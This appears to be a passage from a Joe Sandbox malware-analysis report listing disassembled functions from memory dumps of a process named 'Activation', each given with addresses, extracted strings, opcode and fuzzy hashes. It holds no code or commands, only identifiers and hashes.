API String ID: 0-2738945487
Opcode ID: 5f557d71218ef730f4f843c48b78d7b56d6c1b7d9ceb310e2a8793d92651ecea
Instruction ID: d2e81109c278a872ee6370be498e02947ab3fe365c24e919adc6903ba5a08b2b
Opcode Fuzzy Hash: 5f557d71218ef730f4f843c48b78d7b56d6c1b7d9ceb310e2a8793d92651ecea
Instruction Fuzzy Hash: 1331A475B002169BDB04E7B8D85167FBBAAEFD9350F10806EE509D73A4DE345C0287E5

Function 01498F44 Relevance: 1.8, Strings: 1, Instructions: 599COMMON

Download Yara Rule

Strings

``q, xrefs: 014992CF

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: ``q
API String ID: 0-561504347
Opcode ID: c995900d81e904cc3a8cceee89dfadc6002d3a7178656db506d582ada136665b
Instruction ID: 0b6a2b6eed84f206ad0bf1ff021666e0ce2ee78a6365d6870b83fc444e946627
Opcode Fuzzy Hash: c995900d81e904cc3a8cceee89dfadc6002d3a7178656db506d582ada136665b
Instruction Fuzzy Hash: 8F424C34A0021A8FCB54DF29D994BAEBBF6FB99304F1085A9D409E7365DB30AD46CF50

Function 01499090 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

``q, xrefs: 014992CF

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: ``q
API String ID: 0-561504347
Opcode ID: 69ff33996750d2fb7ee81500a014dd274954b5a034d4a456cfee39c485e99d87
Instruction ID: 22ade7cc1b92334e12f4aed2e46a14733470d70d3e89d09759c649e25e3b0e1c
Opcode Fuzzy Hash: 69ff33996750d2fb7ee81500a014dd274954b5a034d4a456cfee39c485e99d87
Instruction Fuzzy Hash: 19320A34A0021A8FCB54DF69D994BAEBBF6FB98304F1085A9D409E7364DB34AD85CF50

Function 0149997F Relevance: 1.8, Strings: 1, Instructions: 515COMMON

Download Yara Rule

Strings

``q, xrefs: 014992CF

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: ``q
API String ID: 0-561504347
Opcode ID: 088f2235dad358c17978261baa3c319a49285bc6355217d7901445f2999031ac
Instruction ID: 4efb5c0a1bf4bd58ea251c9f1f3dbee56d80302e9ef9f56409f2877a8246aa79
Opcode Fuzzy Hash: 088f2235dad358c17978261baa3c319a49285bc6355217d7901445f2999031ac
Instruction Fuzzy Hash: AF32E934B0021A8FCB54DB29D994BAEBBF6FB99304F1085A9D409E7364DB34AD85CF50

Function 0149E680 Relevance: 1.7, Strings: 1, Instructions: 436COMMON

Download Yara Rule

Strings

*, xrefs: 0149E778

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-2709624293
Opcode ID: cb323f2416845cb3cd017e63a7092cc5bccf3f18ffd20ab61626bcaf33d3595f
Instruction ID: 589a7943e1522ca6f0a8255f85579061d44f3f97ea016b4037c43871c59c794f
Opcode Fuzzy Hash: cb323f2416845cb3cd017e63a7092cc5bccf3f18ffd20ab61626bcaf33d3595f
Instruction Fuzzy Hash: FBF16E30B0021A8FCB05DB79D95076EBBF6BF99304F10856DD409AB3A5EF74AD468B81

Function 01499949 Relevance: 1.7, Strings: 1, Instructions: 434COMMON

Download Yara Rule

Strings

``q, xrefs: 014992CF

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: ``q
API String ID: 0-561504347
Opcode ID: 51a168ecd9989bd6482c78df711c480c6cdf452150a6e2d03a4ffda82e561116
Instruction ID: d5e1c55610c162ca593bdb7621aa1fff6fc045efa47309a70101369f7745af66
Opcode Fuzzy Hash: 51a168ecd9989bd6482c78df711c480c6cdf452150a6e2d03a4ffda82e561116
Instruction Fuzzy Hash: 13120D34B0021A8FCB54DB29D994BAEBBF6FB98304F1085A9D40EE7364DA34AD45CF50

Function 0149E651 Relevance: 1.7, Strings: 1, Instructions: 423COMMON

Download Yara Rule

Strings

*, xrefs: 0149E778

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-2709624293
Opcode ID: a20102d13e2ef47eec48d912b5872f950a4e7abf2de4c054d455d12fa260e71b
Instruction ID: f419832cbd2c3eab7166a8d86ba7b38a7f928e5162a556d2d0a56ffd8a34f6c3
Opcode Fuzzy Hash: a20102d13e2ef47eec48d912b5872f950a4e7abf2de4c054d455d12fa260e71b
Instruction Fuzzy Hash: 88F17E30B0021A8FCB05DF79C95076EBBF6BF99300F1085A9D449AB3A5DF74AD468B81

Function 0149ECDF Relevance: 1.6, Strings: 1, Instructions: 362COMMON

Download Yara Rule

Strings

*, xrefs: 0149E778

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-2709624293
Opcode ID: 2c867f26e88ba82ad8616cf78aaaba6d0afaa5322d55e983cb87fa569a689492
Instruction ID: 5013836a99439b6bbba00dfd5fac40bed8b9646f653ffc1e4063fde595700bef
Opcode Fuzzy Hash: 2c867f26e88ba82ad8616cf78aaaba6d0afaa5322d55e983cb87fa569a689492
Instruction Fuzzy Hash: CED17E30B0021A8FCB05DB69D95076EBBB6BFD9304F10856DD40AAB3A5DF74AD468F81

Function 05CB19A8 Relevance: 1.5, Strings: 1, Instructions: 226COMMON

Download Yara Rule

Strings

+^q, xrefs: 05CB1A95

Memory Dump Source

Source File: 00000005.00000002.1987480105.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5cb0000_Activation.jbxd

Similarity

API ID:
String ID: +^q
API String ID: 0-477993223
Opcode ID: 8bae8fcce540e0d4e7c8a9eae562de62fcd187bccab07dfcfd52a2108839e67f
Instruction ID: da539e9ebf0c177b650fdcdfdc0a7144309b56448c894e22102aa65238e535ff
Opcode Fuzzy Hash: 8bae8fcce540e0d4e7c8a9eae562de62fcd187bccab07dfcfd52a2108839e67f
Instruction Fuzzy Hash: 51819231A01205DFCB44EF68D994A6EBBBAFF99314F14856DE00ADB274DB74AD05CB80

Function 014983B8 Relevance: 1.5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

Strings

,, xrefs: 01498470

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: bd24590eb4740138129df5ef13bc88a93f98f7bf316aecfb4d5d1c163806feae
Instruction ID: 5acdb2a1cf62bc12a865b0f4d1ea9305982108a1460eeb040d1c033cf9b474c8
Opcode Fuzzy Hash: bd24590eb4740138129df5ef13bc88a93f98f7bf316aecfb4d5d1c163806feae
Instruction Fuzzy Hash: 6C819031B0021ACFCB15DF78C594AAEBBB2FF85314F14856AD41A9B3A1DB349C46CB91

Function 05CB1998 Relevance: 1.4, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

+^q, xrefs: 05CB1A95

Memory Dump Source

Source File: 00000005.00000002.1987480105.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5cb0000_Activation.jbxd

Similarity

API ID:
String ID: +^q
API String ID: 0-477993223
Opcode ID: a24db3a010606d06ed0bf5d7eb5e8cdec1dec27c59b8fd79b7f9089568dcec4d
Instruction ID: 37bf877b9925fe764733babee075211c085c242d153108094b5036f45697268e
Opcode Fuzzy Hash: a24db3a010606d06ed0bf5d7eb5e8cdec1dec27c59b8fd79b7f9089568dcec4d
Instruction Fuzzy Hash: B7518E31A01209EFCB04EF64D9949ADBBB6FF99304F14856EE00A9B375DB75AD05CB80

Function 0149B148 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

c#, xrefs: 0149B191

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: c#
API String ID: 0-143056266
Opcode ID: d8465a9bed9a28a1cba499e6c1b817bac5d1770e69f4a3d603d7e8f031082550
Instruction ID: 44b1d1572a39e583fb19b9e8c9f0a566ddd8d2ef0aabab3560de147933b62fff
Opcode Fuzzy Hash: d8465a9bed9a28a1cba499e6c1b817bac5d1770e69f4a3d603d7e8f031082550
Instruction Fuzzy Hash: 8D419431B002059BDB15DB69E4996AEBFF2EF84350F10846EE906DB364DF71AD09CB80

Function 014973B3 Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

# , xrefs: 014974DD

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1643561781
Opcode ID: 36e8020cc63a0c3babd72dc868fbf373187581ad54b37880b7d4c7f677fa19ca
Instruction ID: 187076b037b9ceaac2b8bc6997a61dc64f9c5b65d9bf127bc775b50f2b083c89
Opcode Fuzzy Hash: 36e8020cc63a0c3babd72dc868fbf373187581ad54b37880b7d4c7f677fa19ca
Instruction Fuzzy Hash: 74416D30B103128FCB15DB6DD9905AEBBE5EF89304B10857AD809DB365EF34ED068B90

Function 014969BD Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

(cq, xrefs: 014969D6

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: (cq
API String ID: 0-301743287
Opcode ID: 33c5864090f0a93381df871ac85b28e33c82910ecf6996e23af6a22ae9bf3bcb
Instruction ID: 20426b6c1d74ddbef8a9c868d715b98264d22c59d49eca6f6525dd70e88d8ff1
Opcode Fuzzy Hash: 33c5864090f0a93381df871ac85b28e33c82910ecf6996e23af6a22ae9bf3bcb
Instruction Fuzzy Hash: 2A418E30B042448FCB45DF69D4986AEBFB1BF89354B25806AD806DB366DF319C05CB50

Function 014973E0 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

# , xrefs: 014974DD

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1643561781
Opcode ID: 8d808c34307b14f6ab307c984c8462cbda68c53536967ece2ed8824734fb8478
Instruction ID: 5e19cd26e892e1dc64444e5d6a8053760459cbe9acf898bdd7a3c63e95e45f38
Opcode Fuzzy Hash: 8d808c34307b14f6ab307c984c8462cbda68c53536967ece2ed8824734fb8478
Instruction Fuzzy Hash: E4415D30B102128FCB15DB6DD99056EBBE6EF89304B50843AD809DB329EF75ED068BD0

Function 01498C7C Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

|cq, xrefs: 01498D0C

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: |cq
API String ID: 0-3019918502
Opcode ID: cb46f0d3e7631cf58a561eaa13cc3e2e066a0084859431ec1bfd7c320dd5d884
Instruction ID: 5ce63822148517c669fac8f47f4ebd9ef5519f0ddaa85423f10972322dbe9ec2
Opcode Fuzzy Hash: cb46f0d3e7631cf58a561eaa13cc3e2e066a0084859431ec1bfd7c320dd5d884
Instruction Fuzzy Hash: 2941A06280E3D65FEB039B7898A42E53F70DF63214B5A01DFC1808F177D169884BC3AA

Function 01499A80 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

tbq, xrefs: 01499B07

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: tbq
API String ID: 0-1940637050
Opcode ID: e296eab940d77694d5c868e807f4569bac6e7c0d15afd879b331a18b678dbf40
Instruction ID: b8c8d2ff14b10389da8e77c52ccd2546ba626c69f18bd98e2c604cbe2c82d296
Opcode Fuzzy Hash: e296eab940d77694d5c868e807f4569bac6e7c0d15afd879b331a18b678dbf40
Instruction Fuzzy Hash: 9E419570B002159FDB05DB69D954AAE7BF6FF89308F10852DE4069B3A4DF759C06CB80

Function 01490A08 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

LR_q, xrefs: 01490A19

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: LR_q
API String ID: 0-2241839734
Opcode ID: 7d2e5a4410d517dc9ae1d5cc5ec6a0d2ce2883b68a45ffe1f53f648f752009b5
Instruction ID: 308657da9d90b8fdccf48dc1e314f9417338feb733a70087934428abfef93a5c
Opcode Fuzzy Hash: 7d2e5a4410d517dc9ae1d5cc5ec6a0d2ce2883b68a45ffe1f53f648f752009b5
Instruction Fuzzy Hash: 9031CF317002169FCB04DBADC950A7FBBFAFF98704F10896AF045972A4DA34AC41C7A1

Function 01499A70 Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

tbq, xrefs: 01499B07

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: tbq
API String ID: 0-1940637050
Opcode ID: b8aa074bf1dd0b2aee74a5c3fb705f3343e93314529fce77bed60b1818ef8778
Instruction ID: 688c2418d1b45d43cf1e815febaceed257ad291bb82750edb58764431013d176
Opcode Fuzzy Hash: b8aa074bf1dd0b2aee74a5c3fb705f3343e93314529fce77bed60b1818ef8778
Instruction Fuzzy Hash: 5C318070B00216AFDB15DF69E9546AE7BE6FF89304B10812DE406AB3A4DF359C06CB80

Function 01499D71 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

``q, xrefs: 01499D9B

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: ``q
API String ID: 0-561504347
Opcode ID: 0502a947f65ba4e2180dbf215de294ca137267bf92d915604bf6ad31bec6d421
Instruction ID: 8d7160310ba7a0c3dd02412d083bf12a10802d511180556554df22eddf56a5ad
Opcode Fuzzy Hash: 0502a947f65ba4e2180dbf215de294ca137267bf92d915604bf6ad31bec6d421
Instruction Fuzzy Hash: 4621D1327402014FCB04A779E81866E3FE6EFD6225B1585BAE50ACB3A4EE35DC06C790

Function 0149B120 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

c#, xrefs: 0149B191

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: c#
API String ID: 0-143056266
Opcode ID: de445fa95d3f47067ef6b90d017230482d7308474b049c2ab7dcf2128de9b93a
Instruction ID: d0a5fea83d39527aee9f73797c56e1e0ec6821602e9c6cc9357f039e29c52ec2
Opcode Fuzzy Hash: de445fa95d3f47067ef6b90d017230482d7308474b049c2ab7dcf2128de9b93a
Instruction Fuzzy Hash: 74210230A082418FCB02CF69A9101AEBFB1EF86300B1046EFD946DB3A5EA319E09C740

Function 014911B0 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

=, xrefs: 01491285

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: =
API String ID: 0-575803426
Opcode ID: 05503e0bd79198166c60d748008cc92f16cc819f2b577741c65e38fc513570e1
Instruction ID: 6ca524c1b82ea8e6413c5eb3bf51b0c086f64d7b5383cd9cc2b67127afb4d3e0
Opcode Fuzzy Hash: 05503e0bd79198166c60d748008cc92f16cc819f2b577741c65e38fc513570e1
Instruction Fuzzy Hash: B02181317007465FCB45A739D66057E3FAAFBE6614710416AD04ACB364EE386C0687C6

Function 01499BDA Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

tbq, xrefs: 01499B07

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: tbq
API String ID: 0-1940637050
Opcode ID: 2f1749cbfab8615055ede3525e481f6572ed00468e72bc761b926fdee516d659
Instruction ID: 91e5b08f2c03a54ce3afa2ca657685d066474e14c76dbb9603e76bcbb03a7da1
Opcode Fuzzy Hash: 2f1749cbfab8615055ede3525e481f6572ed00468e72bc761b926fdee516d659
Instruction Fuzzy Hash: 11213E70B0021ADFDF15DB69E954AAEBBB1FF84308F10412DE406AB364DB399D06CB90

Function 01498165 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

[YQ, xrefs: 0149814F

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: [YQ
API String ID: 0-1017333592
Opcode ID: 72dffdfa905c8f544ab06600cf7f7251c8e9899fb67fac2c7b6d8bdc0f1be8f6
Instruction ID: f327d24c906dc5445fa673f284cf0f43012638ee18a86f3f546f0fe4e8ba8da3
Opcode Fuzzy Hash: 72dffdfa905c8f544ab06600cf7f7251c8e9899fb67fac2c7b6d8bdc0f1be8f6
Instruction Fuzzy Hash: 9D113A3165930F4FCB01CBA8E8529AEBFBAEB87250F20466BD14587162CA344807C7D1

Function 01498B10 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

Te_q, xrefs: 01498B98

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: Te_q
API String ID: 0-823545363
Opcode ID: ff86d1c7466408a524658e2020b51f472f9166c8550dc3f2e20809262be18e6a
Instruction ID: fca5328000e58c2c1df89070c3eb9937ad4eab51001edc251be81f51977a2b11
Opcode Fuzzy Hash: ff86d1c7466408a524658e2020b51f472f9166c8550dc3f2e20809262be18e6a
Instruction Fuzzy Hash: 7F21C274600206DFDB25DF69E868AAEBFB1FF45350F14815AF4099B3A5CB309C02CB90

Function 014911C0 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

=, xrefs: 01491285

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: =
API String ID: 0-575803426
Opcode ID: dbaa2b2c2d0cba39c19b01e2b539a8e90ef952227d87073fc71129f70954aa24
Instruction ID: af75a129c8ea56567815672c485e15499020e4f7a5f56a46ed255adf006d2b3b
Opcode Fuzzy Hash: dbaa2b2c2d0cba39c19b01e2b539a8e90ef952227d87073fc71129f70954aa24
Instruction Fuzzy Hash: 10115E3170071A5BCB49A739D65053F3AAFFBE5A147504229D00A8B3A8EE396C0687D6

Function 01498B49 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

Te_q, xrefs: 01498B98

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: Te_q
API String ID: 0-823545363
Opcode ID: 13ed3792a357d9acbf51f7191792ce0d4a2b96c2dde7cb5b46eeb8e84c63e500
Instruction ID: d629f99a7e3830ddb410b7b9a182df241b1f8fbb3406c142c280087c8f3f4ca2
Opcode Fuzzy Hash: 13ed3792a357d9acbf51f7191792ce0d4a2b96c2dde7cb5b46eeb8e84c63e500
Instruction Fuzzy Hash: 48219F74A10219EFDB24CF65E858BAEBFB5BF89740F148019E905A7395CB305805CB90

Function 014909F8 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

LR_q, xrefs: 01490A19

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: LR_q
API String ID: 0-2241839734
Opcode ID: 9aee57412b4bd87da8c4dcd6af0bec3507e48e66f5f0a2d803a94586365937c4
Instruction ID: 7089c17dd2cd16a0119ac72fb41c0a76adc612c78dd6d4455c1b8b652fb925b8
Opcode Fuzzy Hash: 9aee57412b4bd87da8c4dcd6af0bec3507e48e66f5f0a2d803a94586365937c4
Instruction Fuzzy Hash: 4B21B130A00216DFCB11CBA9C99197FBBF5FF95304F10895BE455A72A1D734AC40CB91

Function 01499F80 Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

(cq, xrefs: 01499F92

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: (cq
API String ID: 0-301743287
Opcode ID: 4ca75d8f3ea66dd3a8daeff9d3f42cb660e33f0bf844062dee77ae51f113d1e1
Instruction ID: 32b5cd54a02065c29af546339f12151164dee9dabb2f317019b4d6f0a073b41a
Opcode Fuzzy Hash: 4ca75d8f3ea66dd3a8daeff9d3f42cb660e33f0bf844062dee77ae51f113d1e1
Instruction Fuzzy Hash: D401F1302093459FC3259FBAD81545FBFB5EF8226071486AFD90AC7392CE30AD08C7A1

Function 0149B380 Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

X R, xrefs: 0149B3AE

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: X R
API String ID: 0-2366616160
Opcode ID: 441909813439dd633e92580e8e14c3a6e5cc2c6094f0b909430d94bf501df00a
Instruction ID: 4441285fdf1993db688875c6e3ae23ec668065de14962136bd2b612ec22dd43c
Opcode Fuzzy Hash: 441909813439dd633e92580e8e14c3a6e5cc2c6094f0b909430d94bf501df00a
Instruction Fuzzy Hash: 56019271A003008FDB04DF68D88975ABFA1FF89301F10857AE949DF29ADBB19C14CBA4

Function 0149ECAD Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a216e8b834f5d540023553725ae266963e690a86ba9952b88fc8586e8953667c
Instruction ID: b968d7413bb3120f9bb5e82240dcfc17de32d4b47c0e4e280d9971b4d67ec0a0
Opcode Fuzzy Hash: a216e8b834f5d540023553725ae266963e690a86ba9952b88fc8586e8953667c
Instruction Fuzzy Hash: 72C18030B0021A9FCB44EB38D95076E7BA7BFD9304F10856DD40A9B3A9DF34AD468B81

Function 0149380D Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f5028d0032a8211d3d8e62c530c73dcb99b05d33a7b3aa4169e221d05d08fdf
Instruction ID: 758ccafdf7dbc847e6d136e7f835ac8a00899662a73483e9a6ac3e68feb7fb14
Opcode Fuzzy Hash: 9f5028d0032a8211d3d8e62c530c73dcb99b05d33a7b3aa4169e221d05d08fdf
Instruction Fuzzy Hash: 36B12C70E002499FDF10CFA9D985BAEBFF1BF49314F14812AD415AB364EB749846CB91

Function 014940DD Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd89f21fe19a728a90c58c86214962a59ba7dd076857986edd45398541f8642f
Instruction ID: 79cf0972e5586bedbbeaca412ab2f591372111b1e5fe5fcef9b294f0250469ab
Opcode Fuzzy Hash: dd89f21fe19a728a90c58c86214962a59ba7dd076857986edd45398541f8642f
Instruction Fuzzy Hash: 58B14E70E102098FDF24CFA9DA857AEBFF1BF48354F18812AD415A7364E7749846CB91

Function 0149CC88 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 536b541320daf05401861e3e666672b550a410d509c91f019379062d2aa4bed3
Instruction ID: cf6e33fe016757345764850d42f05ace545cb8a1d545b4bb51aaf9c4fa17dad8
Opcode Fuzzy Hash: 536b541320daf05401861e3e666672b550a410d509c91f019379062d2aa4bed3
Instruction Fuzzy Hash: 66816F31B001559FCB44EB78C85466EBBE6FFC8314B2484AAD51ADB3A5DE329D06CB90

Function 0149BED0 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550705750694e2c98836014e8c045756db67e06d8e733199617cea5bd5a681c2
Instruction ID: 1db21d993db1ffe94b21c5e2ed2f848de56580e0b0a84698dafd291726f3dcfb
Opcode Fuzzy Hash: 550705750694e2c98836014e8c045756db67e06d8e733199617cea5bd5a681c2
Instruction Fuzzy Hash: C0619171B002119FDB15DF78C880A6EBBF2AF88314F248169D855EB3A6CB31DC46CB95

Function 014965FD Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6aacf51f8f8bf690e7a04e3d51199be99d54ec46bb5531984fbcd1d52746be36
Instruction ID: 46ec065ac0a859e50cb513cbe4d04cd016e11b1b1242f0f543d4e5b432a17815
